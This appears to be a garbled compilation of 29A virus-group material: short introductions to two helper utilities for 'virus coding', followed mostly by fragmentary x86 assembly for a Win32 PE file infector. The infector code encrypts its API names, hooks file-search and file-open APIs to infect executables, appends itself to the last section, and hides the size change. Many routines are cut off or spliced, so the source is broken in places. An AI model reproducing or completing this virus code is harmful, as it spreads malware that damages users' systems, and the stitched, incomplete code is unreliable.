FILE_MAP_WRITE
FILE_MAP_READ
FILE_MAP_ALL_ACCESS
FILE_MAP_COPY
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
HANDLE FindFirstFileA
(ptr) lpFileName ; ptr to name of file to search for
(ptr) lpFindFileData ; ptr to WIN32_FIND_DATA struc
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
*
@OpenFile macro ; open file with r/o or r/w access, not shared
; on input: ECX = desired access, EDX = pszFileName
xor eax,eax
push eax ; 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax ; NULL
push eax ; 0
push ecx ; desired access
push edx ; pszFileName
call CreateFileA
endm
@OpenFileR macro pszFileName ; Open file for r/o access, not shared
xor eax,eax
push eax ; 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax ; NULL
push eax ; 0
push GENERIC_READ
push pszFileName
call CreateFileA
endm
@OpenFileW macro pszFileName ; Open file for r/w access, not shared
xor eax,eax
push eax ; 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax ; NULL
push eax ; 0
push GENERIC_READ OR GENERIC_WRITE
push pszFileName
call CreateFileA
endm
/*
. .: .:.. :.. .. .:.::. :. ..:
<<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
.:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
. .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
>===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
.: .:.. ..:. .: ..:.::. ::.. :.:.
[PEWRSEC]
PE Write Section, by Jacky Qwerty/29A
Here's a new utility from 29A. This program simply sets the write bit to a
section in a PE file. This is needed when you need write access to the code
section in a first generation sample, for instance. There is one utility
from the SDK (EDITBIN) which does exactly the same thing with PE filez, but
it needs some huge DLLz from VC to work. On the other hand, PEWRSEC can be
compiled as a stupid COM file. Hope this will be handy enough for you ;)
*/
/*- -[PEWRSEC.C]- - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 */
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "types.h"
#include "mz.h"
#include "pe.h"
//
// DOS EXE MZ format
//
//
// Portable Executable format
//
#define IMAGE_SIZEOF_FILE_HEADER 20
#define IMAGE_FILE_MACHINE_UNKNOWN 0
#define IMAGE_FILE_MACHINE_I386 0x14c // Intel 386.
#define IMAGE_FILE_MACHINE_R3000 0x162 // MIPS little-endian, 0540 big-endian
#define IMAGE_FILE_MACHINE_R4000 0x166 // MIPS little-endian
#define IMAGE_FILE_MACHINE_ALPHA 0x184 // Alpha_AXP
#define IMAGE_FILE_MACHINE_POWERPC 0x1F0 // IBM PowerPC Little-Endian
// Directory format.
#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16
// Standard fields.
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
// NT additional fields.
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Reserved1;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;
#define IMAGE_SIZEOF_STD_OPTIONAL_HEADER 28
#define IMAGE_SIZEOF_NT_OPTIONAL_HEADER 224
// Subsystem Values
// Dll Characteristics
// Loader Flags
// Directory Entries
#define IMAGE_SIZEOF_SHORT_NAME 8
#define IMAGE_SIZEOF_SECTION_HEADER 40
#ifndef CHAR
typedef signed char CHAR;
#endif
#ifndef SHORT
typedef signed short SHORT;
#endif
#ifndef LONG
typedef signed long LONG;
#endif
#ifndef INT
typedef signed INT;
#endif
#ifndef BYTE
typedef unsigned char BYTE;
#endif
#ifndef WORD
typedef unsigned short WORD;
#endif
#ifndef DWORD
typedef unsigned long DWORD;
#endif
#ifndef UINT
typedef unsigned UINT;
#endif
#ifndef PCHAR
typedef CHAR *PCHAR;
#endif
#ifndef PSHORT
typedef SHORT *PSHORT;
#endif
#ifndef PLONG
typedef LONG *PLONG;
#endif
#ifndef PINT
typedef INT *PINT;
#endif
#ifndef PBYTE
typedef BYTE *PBYTE;
#endif
#ifndef PWORD
typedef WORD *PWORD;
#endif
#ifndef PDWORD
typedef DWORD *PDWORD;
#endif
#ifndef PUINT
typedef UINT *PUINT;
#endif
/*
. .: .:.. :.. .. .:.::. :. ..:
<<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
.:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
. .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
>===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
.: .:.. ..:. .: ..:.::. ::.. :.:.
[GETPROC]
GetProcAddress-alike utility, by Jacky Qwerty/29A
And here's one more tool you will probably find useful when getting started
in the 32-bit virus coding. Albeit it simply gets the function addresez of
one or more APIz from inside any specified module. It has the advantage of
findin API function adressez exported by ordinal only from the KERNEL32
module library. This is somethin u can't normally do by usin GetProcAddress
on any ordinal exported from KERNEL32, since Microsoft intentionally added
some code to return failure in such casez. This program overcomes this pro-
blem by interactin directly with the export table if necesary. This utility
will surely help u when codin your Win32 PE infector and when findin the so
called "VxDCall" API address (ordinal 1) to do whatever u want under Win95.
*/
/*- -[GETPROC.C]- - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 */
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
;Some includez containin very useful structurez and constantz for Win32
include Useful.inc
include Win32API.inc
include MZ.inc
include PE.inc
.data
db ? ;some dummy data so tlink32 dont yell
.code
v_start:
call get_base
code_table:
code_start:
;Packed APIz needed by the virus. They will travel in packed/encrypted form
ve_stringz:
veszKernel32 db 'KERNEL32',0
veszGetModuleHandleA db 'GetModuleHandleA'
veszGetModuleHandleW db 80h,17
veszGetProcAddress db 'GetProcAddress',0
veszGetFileAttributesA db 'Ge','t'+80h,'AttributesA'
veszGetFileAttributesW db 80h,19
veszMoveFileExA db 'Mov','e'+80h,'ExA'
veszMoveFileExW db 80h,12
vesz_lopen db '_lopen',0
veszCopyFileA db 'Cop','y'+80h,'A'
veszCopyFileW db 80h,10
veszOpenFile db 'Ope','n'+80h,0
veszMoveFileA db 'Mov','e'+80h,'A'
veszMoveFileW db 80h,10
veszCreateProcessA db 'CreateProcessA'
veszCreateProcessW db 80h,15
veszCreateFileA db 'Creat','e'+80h,'A'
veszCreateFileW db 80h,12
veszFindClose db 'FindClose',0
veszFindFirstFileA db 'FindFirs','t'+80h,'A'
veszFindFirstFileW db 80h,15
veszFindNextFileA db 'FindNex','t'+80h,'A'
veszFindNextFileW db 80h,14
veszSetFileAttributesA db 'Se','t'+80h,'AttributesA'
veszSetFileAttributesW db 80h,19
veszCloseHandle db 'CloseHandle',0
veszCreateFileMappingA db 'Creat','e'+80h,'MappingA',0
veszMapViewOfFile db 'MapViewO','f'+80h,0
veszUnmapViewOfFile db 'UnmapViewO','f'+80h,0
veszSetFilePointer db 'Se','t'+80h,'Pointer',0
veszSetEndOfFile db 'SetEndO','f'+80h,0
veszSetFileTime db 'Se','t'+80h,'Time',0
veszGetWindowsDirectory db 'GetWindowsDirectoryA',0
veszGetSystemDirectory db 'GetSystemDirectoryA',0
veszGetCurrentProcess db 'GetCurrentProcess',0
veszGetModuleFileName db 'GetModul','e'+80h,'NameA',0
veszWriteProcessMemory db 'WriteProcessMemory',0
veszWideCharToMultiByte db 'WideCharToMultiByte',0
veszVirtualAlloc db 'VirtualAlloc',0
eEndOfFunctionNamez db 0
ve_string_size = $ - ve_stringz
get_base:
mov fs:[ebx],esp
pushad
xchg eax,[ebx - 2] ;go away lamerz and wannabeez..
db 2Dh
seh_rs: sub edi,tmp_edi - v_stringz ;get pointer to KERNEL32 API name
pop eax
push edi ;pass the pointer twice
push edi
lodsb
rol al,cl
xor al,0B5h
jns d_stor
add al,-80h
jnz d_file
stosb ;expand/unpack unicode API name
xor eax,eax
lodsb
push esi
xchg ecx,eax
mov esi,edx
rep movsb
xchg ecx,eax
sub byte ptr [edi - 2],'A'-'W'
pop esi
jmp d_updt
d_file: stosb
xor eax,eax
sub eax,-'eliF' ;expand to 'File' where aplies
stosd
cmp al,?
org $ - 1
d_stor: stosb
jnz d_loop
d_updt: mov edx,edi
d_loop: loop decrypt_stringz ;get next character
lodsb
stosw
loop copy_K32W
call MyGetModuleHandleW ;get KERNEL32 base adress (second try)
jnz gotK32 ;jump if found
call MyGetModuleHandleX ;get KERNEL32 base adress (third try)
jnz gotK32 ;jump if found
quit_app:
GetAPIAddress:
get_count:
call [ebp + ddGetCurrentProcess - ebp_num] ;get pseudo-handle for current process
xchg ecx,eax
cld
lodsw ;get number of bytes to copy
cwde
xchg ecx,eax
mov edx,ecx
push ecx ;push parameterz to WriteProcessMemory API
push eax
push esp
push ecx
push esi
push edi
push eax
lodsb
xor al,06Ah
xor_2nd_val = byte ptr $ - 1
rol al,cl
mov [esi-1],al
loop decrypt_hostcode
sub ecx,12345678h
old_base = dword ptr $ - 4
add ecx,ebx ;has host base adress been relocated?
jz write_chunk ;no, relocation fix not necesary.. jump
;relocation item is pointing inside chunk of code.. add delta to fix it..
pushad
mov ebx,[esp.(4*Pshd).cPushad.Pushad_ebx] ;get actual host base adress
mov ebp,[ebx + edi - 4]
mov ecx,[esp.(3*Pshd).(2*cPushad).Arg3] ;get pointer to chunk of code inside
code table
mov ebx,[ebx + edx]
xchg ebp,[ecx - 4]
sub ecx,edi
mov esi,[esp.(4*Pshd).cPushad.Pushad_ecx] ;get relocation delta to add
xchg ebx,[edx + ecx]
add [eax + ecx],esi ;add delta.. (aack! damned relocationz..)
mov [edx + ecx],ebx
popad
clc
f_next_reloc:
redo_reloc:
call get_relocs
_popad: popad
write_chunk:
go_resident:
hook_api: ;hook API functionz, retrieve old API adress and build new API entry into
jump table..
pushad
call IGetProcAddressIT ;get RVA pointer of API function inside import table
test eax,eax
jz next_api_hook ;if not found, jump and get next API name
add eax,[ebp + phost_hdr - ebp_num] ;convert RVA to real pointer by
addin the actual host base adress
mov edx,esp
push eax
push esp
xchg esi,eax
mov al,0B8h ;build "mov eax,?" instruction into jump table
push 4
push edx
stosb
call [ebp + ddGetCurrentProcess - ebp_num]
push esi
push eax
cld
movsd ;get and copy old API adress into jump table
call [ebp + ddWriteProcessMemory - ebp_num] ;set our API hook
cld
mov al,0E9h ;build "jmp ?" instruction to jump to new API handler
pop edx
pop ecx
stosb
movzx eax,word ptr [ebx] ;build relative offset to new API handler
sub eax,edi
add eax,[ebp + pcode_start - ebp_num]
stosd
push edi
next_api_hook:
popad
inc ebx
xchg esi,eax
@endsz ;get pointer to next API name
inc ebx
cmp [esi],al ;check end of API namez to hook
xchg eax,esi
jnz hook_api ;jump and get next API, if there are more APIz to hook
close_jmp_host:
jmp_host:
cld
pop eax
jmp eax ;jmp to host.. or try to quit aplication if an error ocurred
while patchin the code section
NewGetProcAddr: ;new GetProcAddress API entry point.. hook wanted API functionz from
KERNEL32..
call APICall@n_2 ;call old GetProcAdress API and retrieve API adress in EAX
pushad
mov ecx,[esp.cPushad.Arg1] ;get module handle/base adress
call get_ebp ;get EBP to reference internal variablez correctly
xchg ecx,eax
jecxz end_getproc ;get out if retrieved API adress is zero
sub eax,[ebp + K32Mod - ebp_num] ;is it KERNEL32 base adress?
jnz end_getproc ;no, get out
lea edx,[ebp + jmp_addr_table - 2 - ebp_num] ;yea its KERNEL32, get
pointer to start of jump table
lea edi,[ebp + FunctionNamez2 - 1 - ebp_num] ;get pointer to API function
namez to hook
cld
n_gproc_next_str: ;search specified API function name from the list of posible API
namez to hook..
inc edx
scasb ;get adress to next API function name
jnz $ - 1
mov esi,[esp.cPushad.Arg2] ;get pointer to specified API function name
inc edx
scasb
jz end_getproc ;if end of API namez reached, get out
dec edi
n_gproc_next_chr:
end_getproc:
popad
ret (2*Pshd) ;return to caller
dw NewGetProcAddr - code_start - 4
dw NewGetFileAttrA - code_start - 4
dw NewGetFileAttrW - code_start - 4
dw NewMoveFileExA - code_start - 4
dw NewMoveFileExW - code_start - 4
dw New_lopen - code_start - 4
dw NewCopyFileA - code_start - 4
dw NewCopyFileW - code_start - 4
dw NewOpenFile - code_start - 4
dw NewMoveFileA - code_start - 4
dw NewMoveFileW - code_start - 4
dw NewCreateProcessA - code_start - 4
dw NewCreateProcessW - code_start - 4
dw NewCreateFileA - code_start - 4
dw NewCreateFileW - code_start - 4
dw NewFindCloseX - code_start - 4
dw NewFindFirstFileA - code_start - 4
dw NewFindFirstFileW - code_start - 4
dw NewFindNextFileA - code_start - 4
dw NewFindNextFileW - code_start - 4
dw NewSetFileAttrA - code_start - 4
dw NewSetFileAttrW - code_start - 4
jmp_table_size = $ - jmp_addr_table
NCF_close:
jmp_old_api:
popad
jmp eax ;jump to original API adress
NewFindFirstFileW: ;new findfirst API handler.. infect files, stealth (unicode version)
NewFindFirstFileA: ;new findfirst API handler.. infect files, stealth (ansi version)
NewFindNextFileW: ;new findnext API handler.. infect files, stealth (unicode version)
NewFindNextFileA: ;new findnextt API handler.. infect files, stealth (ansi version)
xor edi,edi
xor eax,eax
push eax ;0
push eax ;FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax ;NULL
mov al,1
push eax ;FILE_SHARE_READ
ror eax,1 ;GENERIC_READ
mov ecx,edi
jecxz $ + 4
rcr eax,1 ;GENERIC_READ + GENERIC_WRITE
push eax
push esi ;pszFileName
call [ebp + ddCreateFileA - ebp_num] ;open file
cdq
xor esi,esi
inc eax
jz end_Open&MapFile ;if error, jump
dec eax
push eax ;push first handle
Open&MapFile endp
Close&UnmapFile proc ;close and unmap file previosly opened in read only mode
xor edi,edi
end_Open&MapFile3:
end_Open&MapFile2:
end_Open&MapFile:
xor ecx,ecx
ret
Close&UnmapFile endp
xor eax,eax
push eax ;NULL
push eax ;NULL
push MAX_PATH
push edi ;target pointer
push -1
push esi ;source pointer
push eax
push eax ;CP_ACP
call [ebp + ddWideCharToMultiByte - ebp_num]
mov esi,edi
ansiok: xchg ecx,eax
cld
ret
Rva2Raw proc ;this function converts RVA valuez to RAW pointerz inside PE
; filez. This function is specialy useful for memory-maped
; filez.
;given a RVA value, this function returns the start adress
; and size of the section containin it, plus its relative
; delta value inside the section.
;on entry:
; EAX = RVA value
; EBP = start of memory-maped file (MZ header)
; ESI = start of PE header + 3Ch
;on exit:
; EBP = RAW size of section
; EBX = RAW start of section
; ECX = 0, if not found
; start of respective section header (+ section header
; size), if found
; EDX = RVA start of section
; ESI = relative delta of RVA value inside section.
mov esi,eax
mov edx,[ebx.SH_VirtualAddress]
sub esi,edx
sub ebx,-x
cmp esi,[ebx.SH_VirtualSize - x] ;is RVA value pointin inside current section?
jb section_found ;yea we found the section, jump
loop match_virtual ;nope, get next section
end_Rva2Raw:
ret
Rva2Raw endp
xchg ecx,eax
jecxz end_gho_stc
call get_ebp2
mov ecx,[esp.(Pshd).cPushad.Arg1] ;get handle
jecxz end_gho_stc
xchg eax,ecx
cmp ax,?
org $ - 2
sub eax,eax
section_found:
x = IMAGE_SIZEOF_SECTION_HEADER
xchg ebp,ebx
add ebx,[ebp.SH_PointerToRawData - x] ;get RAW start of section
xchg ecx,ebp
mov ebp,[ecx.SH_SizeOfRawData - x] ;get RAW size of section
cld
ret
process_reloc_blocks:
lodsd
xchg ebx,eax ;get start RVA for this block of relocationz
lea ecx,[ebx + 4096] ;get end RVA where relocationz can point in a block
lodsd ;get size of reloc block
x = IMAGE_SIZEOF_BASE_RELOCATION
add eax,-x
cmp edi,ecx ;RVA pointer inside relocation block? (check low boundary)
lea ecx,[eax + esi] ;get next block adress
push ecx
jnc next_reloc_block
shr eax,1
cmp ebx,edx ;RVA pointer inside relocation block? (check high boundary)
jnc next_reloc_block
xchg ecx,eax ;get number of relocationz for this block
jecxz next_reloc_block
next_reloc_block:
next_ext:
end_PF3: ret
err_Rva2Raw:
err_Rva2Raw2:
Attach proc ;attach virus code to last section in the PE file and
; change section characteristicz to reflect infection.
;on entry:
; ECX = base of memory-maped file
; EDI = original file size
;on exit:
; EDI = new file size
lea esi,[ecx.MZ_lfanew] ;get base of PE header + 3Ch
mov eax,[ebp + pcode_start - ebp_num] ;get start adress of virus code
add esi,[esi]
mov edx,[esi.NT_OptionalHeader \ ;get built-in image base
.OH_ImageBase \
-MZ_lfanew]
pushad ;save valuez to stack
xor eax,eax
x = IMAGE_SIZEOF_SECTION_HEADER
sub al,-x
mul byte ptr [esi.NT_FileHeader \ ;get number of sectionz
.FH_NumberOfSections \
-MZ_lfanew]
add ax,word ptr [esi.NT_FileHeader \ ;get first section header
.FH_SizeOfOptionalHeader \
-MZ_lfanew]
jc err_Rva2Raw2
lea ebx,[esi.NT_OptionalHeader - MZ_lfanew + eax]
mov eax,[esi.NT_OptionalHeader.OH_SectionAlignment - MZ_lfanew]
mov edx,[esi.NT_OptionalHeader.OH_FileAlignment - MZ_lfanew]
dec eax
dec edx
or eax,edx ;check SectionAlignment and FileAlignment fieldz
cmp eax,10000h
jnc err_Rva2Raw2 ;too large?
add edi,ecx ;get end of file in MM-file
inc al
jnz err_Rva2Raw2
mov eax,[ebx.SH_VirtualAddress - x]
mov ebp,ecx ;get MM-file base address
add eax,edi
add ecx,[ebx.SH_PointerToRawData - x]
sub eax,ecx ;get new RVA entry point
pushad
mov eax,[esi.NT_OptionalHeader \ ;get current entry point
.OH_AddressOfEntryPoint \
-MZ_lfanew]
;on entry:
;
; EAX = Host EntryPoint RVA
; EBP = start of MZ header (start of MM-file)
; ESI = start of PE header + 3Ch (in MM-file)
call Rva2Raw ;find true code section (clue: EntryPoint RVA points inside)
;on exit:
;
; EBP = raw size of CODE section
; EBX = raw start of CODE section
; ECX = 0, if not found
; start of CODE section header (+ section header size), if found
; EDX = start of CODE section RVA
; ESI = relative delta of RVA inside CODE section.
exec_set:
;import table NOT inside code section (i.e. probably exists an .idata section)
sub ecx,ecx
push edi ;need this value l8r, push it
mov cl,5
sub eax,0B2FD26A3h
sub_1st_val = dword ptr $ - 4
add edi,ecx ;add edi,5
stosd
push edi
mov eax,ecx ;ax = 5
stosw
sub al,- 0e9h + 5 ;al = E9h
stosb
mov eax,[ebp.cPushad.Pushad_eax] ;get RVA start of virus code
sub eax,[ebp.Pushad_eax]
sub eax,ecx ;sub eax,5
stosd
xor eax,eax
pop esi
stosw ;0
mov edi,[ebp.Pushad_eax]
nulify_relocs: ;nulify relocs that could overwrite our inserted chunks of code..
push edi
lodsw
cwde
pushad
mov esi,[ebp.cPushad.Pushad_esi] ;get PE header (+ 3Ch)
mov ecx,[esi.NT_OptionalHeader \ ;get size of relocation blockz
.OH_DirectoryEntries \
.DE_BaseReloc \
.DD_Size \
-MZ_lfanew]
jecxz go_popad ;no relocationz, jump
push eax ;save size of this chunk of code temporarily
push ecx
mov ebp,[ebp.cPushad.Pushad_ebp] ;get base of MM-file (MZ header)
mov eax,[esi.NT_OptionalHeader \ ;get RVA start of relocation blockz
.OH_DirectoryEntries \
.DE_BaseReloc \
.DD_VirtualAddress \
-MZ_lfanew]
call Rva2Raw ;convert RVA to a raw offset inside the section
pop eax
pop edx ;retrieve size of this chunk of code temporarily
jecxz go_popad
xchg ecx,eax
call mark_reloc ;pass nul_relocs as a parameter to get_relocs function
nul_relocs:
and byte ptr [esi.hib - 2],not (mask RD_RelocType shr 8) ;nulify relocation!
n_next_reloc:
mark_reloc:
call get_relocs
go_popad:
popad
xchg ecx,eax ;size of this chunk of code
add edi,[ebp.Pushad_ebx] ;convert RVA start of chunk of code to a raw value
sub edi,[ebp.Pushad_edx]
pre_crypt:
pre_crypt_done:
x = IMAGE_SIZEOF_SECTION_HEADER
end_Attach:
popad
needed_ret:
ret
Attach endp
dec eax
cmp eax,7Fh
jnc needed_ret ;if pathname greater than 7Fh characterz, jump
pushad
mov esi,edi
adc edi,eax
cld
mov al,'\' ;add '\' to the pathname if not included
cmp [edi-1],al
jz Find_Filez
stosb
push edi
sub eax,'\' - '*.*'
stosd
call findfirst ;find each file "*.*" in the path
pop edi
jz end_Attach ;if error, jump
dec eax
push eax ;save search handle
push edi
lea esi,[ebx.WFD_szFileName] ;get filename
call Process_File3 ;process file, infect it
Find_Next:
pop edi
pop eax
push eax
push ebx
push eax
call [ebp + ddFindNextFileA - ebp_num] ;find next file
test eax,eax ;more filez?
jnz Process_File ;yea, process it, jump
Find_Close:
end_Find:
end_Process_Dir:
popad
ret
APICall@n proc ;this function calls an API and passes "n" parameterz
; as argumentz
;on entry:
; EAX = API function adress
; ECX = number of paremeterz
pushfd
movzx edx,cl
mov ecx,edx
push_args: push dword ptr [esp.(2*Pshd) + 4*edx] ;push parameter
loop push_args
call eax ;call API
popfd
ret
APICall@n endp
IGetProcAddressIT:
pop edx
push eax
lea eax,[ebp + vszKernel32 - ebp_num]
push eax
push edx
GetProcAddressIT proc ;gets a pointer to an API function from the Import Table
; (the object inspected is in raw form, i.e. memory-maped)
;on entry:
; TOS+08h (Arg2): API function name
; TOS+04h (Arg1): module name
; TOS+00h (return adress)
;on exit:
; EAX = RVA pointer to IAT entry
; EAX = 0, if not found
pushad
lea esi,[ecx.MZ_lfanew]
mov ebp,ecx ;get KERNEL32 module handle
add esi,[esi] ;get address of PE header + MZ_lfanew
mov ecx,[esi.NT_OptionalHeader \ ;get size of import directory
.OH_DirectoryEntries \
.DE_Import \
.DD_Size \
-MZ_lfanew]
jecxz End_GetProcAddressIT2 ;if size is zero, no API imported!
mov eax,[esi.NT_OptionalHeader \ ;get address of Import directory
.OH_DirectoryEntries \
.DE_Import \
.DD_VirtualAddress \
-MZ_lfanew]
call Rva2Raw ;find size and raw start of import section
jecxz End_GetProcAddressIT
push esi
mov eax,[esp.(Pshd).Pushad_ebp]
mov [eax + ImportHdr - ebp_num],ecx ;save raw adress of import section header
for l8r use
x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR
Get_DLL_Name: ;scan each import descriptor inside import section to match module name
specified
End_GetProcAddressIT2:
Next_char_from_DLL: ;do a char by char comparison with module name found inside seccion
;stop when a NULL or a dot '.' is found
lodsb
add al,-'.'
jz IT_nup ;its a dot
sub al,-'.'+'a'
cmp al, 'z'-'a'+ 1
jae no_up
add al,-20h ;convert to upercase
no_up: sub al,-'a'
IT_nup: scasb
jnz Get_DLL_Name ;namez dont match, get next import descriptor
cmp byte ptr [edi-1],0
jnz Next_char_from_DLL
Found_DLL_name: ;we got the import descriptor containin specified module name
pop esi
lea eax,[edx + esi.ID_ForwarderChain - x]
add esi,ebx
mov [esp.Pushad_edx],eax ;store pointer to ForwarderChain field for
later use
mov [esp.Pushad_esi],esi ;store pointer to import descriptor for
later use
push dword ptr [esp.cPushad.Arg2]
mov eax,[esp.(Pshd).Pushad_ebp]
push dword ptr [eax + K32Mod - ebp_num]
call GetProcAddressET ;scan export table of specified module handle
xchg eax,ecx ;and get function adress of specified API
mov ecx,[esi.ID_FirstThunk - x] ;This is needed just in case the API
function adressez are bound in the IAT
jecxz End_GetProcAddressIT ;if not found then go, this value cant be
zero or the IAT wont be patched
push eax
call GetProcAddrIAT ;inspect first thunk (which later will be
patched by the loader)
test eax,eax
jnz IAT_found ;if found then jump (save it and go)
mov ecx,[esi.ID_OriginalFirstThunk - x] ;get original thunk (which later
will hold the original unpatched IAT)
jecxz End_GetProcAddressIT ;if not found then go, this value could be
zero
push eax
call GetProcAddrIAT ;inspect original thunk
test eax,eax
jz IAT_found ;jump if not found
sub eax,ecx ;we got the pointer
add eax,[esi.ID_FirstThunk - x] ;convert it to RVA
db 6Bh,33h,0C0h ;imul esi,[ebx],-0C0h ;i like bizarre thingz =8P
org $ - 2
End_GetProcAddressIT:
IAT_found:
end_findfirst:
inc eax
cld
ret
xor ecx,ecx
test byte ptr [ebx.WFD_dwFileAttributes],FILE_ATTRIBUTE_DIRECTORY
jnz get_size_ret ;discard directory entriez
mov edx,ecx
cmp [ebx.WFD_nFileSizeHigh],edx ;discard huge filez, well if any thaat big
(>4GB)
mov cl,65h ;load size padin value
lea esi,[ebp + PathName - ebp_num] ;get pointer to filename
mov eax,[ebx.WFD_nFileSizeLow] ;get file size
get_size_ret:
ret
push ecx
push esi
sub ecx,edx
xor eax,eax
cmp ecx,ebp
jae IT_not_found
lea esi,[ebx + ecx] ;get RAW pointer to IMAGE_THUNK_DATA array
next_thunk_dword:
no_ordinal:
IT_search:
IT_new_search:
IT_found?:
jnz next_thunk_dword
lea eax,[edx+esi-4] ;get the pointer to the new IAT entry
sub eax,ebx ;convert it to RVA
IT_not_found:
pop esi
pop ecx
ret (Pshd)
GetProcAddressIT ENDP
;at this point, calculate virus checksum to make sure file is really
;infected. If its infected then return original size of host previous
;to infection and store it in the WIN32_FIND_DATA structure (stealth).
Close_File:
end_PE_file:
dec esi
ret
pop_ebp: ;get the ebp_num value needed to access variablez thru EBP
pop ebp
if (ebp_num - m_ebp)
lea ebp,[ebp + ebp_num - m_ebp]
endif
mov [ebp + uni_or_ansi - ebp_num],al
cld
another_ret:
ret
Process_File2: ;this function checks the file size, retrieves some key API
; adressez from inside the import table and infects the file.
;on entry:
; EBX = pointer to WIN32_FIND_DATA structure
; ESI = pointer to filename
call get_size
jnz another_ret ;if file size too short, jump
cmp eax,4000000h - 10*1024
jnc another_ret ;if file size too large (>64MB), jump
div ecx ;check infection thru size paddin
dec edx
js another_ret ;already infected, jump
call check_PE_file ;open file, check PE signature and close file
jnz another_ret ;not valid PE file, jump
inc byte ptr [ebp + uni_or_ansi - ebp_num] ;double-check file
jz another_ret ;discard if infected
Bless: ;this function prepares the host file for infection: blank file
; atributez, open and map file in r/w mode, retrieves RVA pointerz
; to GetModuleHandleA, GetModuleHandleW and GetProcAddress, call
; the "Attach" function to infect the file and finaly restore
; date/time stamp and attributez
push esi
lea esi,[ebp + PathName - ebp_num] ;get pointer to filename
push esi
call [ebp + ddSetFileAttributesA - ebp_num] ;blank file atributez
xchg ecx,eax
jecxz another_ret ;if error, jump, if disk is write-protected for example
push esi
mov edi,virtual_end - code_start ;calculate buffer size needed for infection
add edi,[ebx.WFD_nFileSizeLow] ;add to original size
call Open&MapFileAdj ;open and map file in read/write mode
jecxz end_Bless2 ;if any error, if file is locked for
example, jump
x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR
cmp [esi.ID_TimeDateStamp - x],edx ;shit, not found, now check if KERNEL32 API
adressez are binded
jz StoreHandleW
cmp edx,[esi.ID_OriginalFirstThunk - x]
jz end_Bless3
mov [esi.ID_TimeDateStamp - x],edx
StoreHandleW:
end_Bless3:
end_Bless2:
end_Bless1:
end_Process_File2:
ret
pushad
@SEH_SetupFrame <jmp Proc_Address_not_found>
mov eax,[esp.(2*Pshd).cPushad.Arg1] ;get Module Handle from Arg1
mov ebx,eax
add eax,[eax.MZ_lfanew] ;get address of PE header
mov ecx,[eax.NT_OptionalHeader \ ;get size of Export directory
.OH_DirectoryEntries \
.DE_Export \
.DD_Size]
jecxz Proc_Address_not_found ;size is zero, no API exported
mov ebp,ebx ;get address of Export directory
add ebp,[eax.NT_OptionalHeader \
.OH_DirectoryEntries \
.DE_Export \
.DD_VirtualAddress]
ifdef Ordinal
mov eax,[esp.(2*Pshd).cPushad.Arg2] ;get address of requested API from Arg2
test eax,-10000h ;check if Arg2 is an ordinal
jz Its_API_ordinal
endif
Its_API_name:
push ecx
mov edx,ebx ;get address of exported API namez
add edx,[ebp.ED_AddressOfNames]
mov ecx,[ebp.ED_NumberOfNames] ;get number of exported API namez
xor eax,eax
cld
Search_for_API_name:
Next_Char_in_API_name:
Proc_Address_not_found:
ifdef Ordinal
Its_API_ordinal:
Matched_char_in_API_name:
Check_Index:
End_GetProcAddressET:
GetProcAddressET endp
goto_GetProcAddressET:
jmp GetProcAddressET
pop eax
push esi
push ebx
push eax
Ret2Pshd:
ret (2*Pshd)
MyGetProcAddress endp
end_MyGetModuleHandle:
ret
MyGetModuleHandle endp
m_ebp:
;uninitialized data ;these variablez will be adressed in memory, but dont waste space in
the file
FunctionAdressez: ;this dwordz will hold the API function adressez used by the virus
ddCreateFileA dd ?
ddCreateFileW dd ?
ddFindClose dd ?
ddFindFirstFileA dd ?
ddFindFirstFileW dd ?
ddFindNextFileA dd ?
ddFindNextFileW dd ?
ddSetFileAttributesA dd ?
ddSetFileAttributesW dd ?
ddCloseHandle dd ?
ddCreateFileMappingA dd ?
ddMapViewOfFile dd ?
ddUnmapViewOfFile dd ?
ddSetFilePointer dd ?
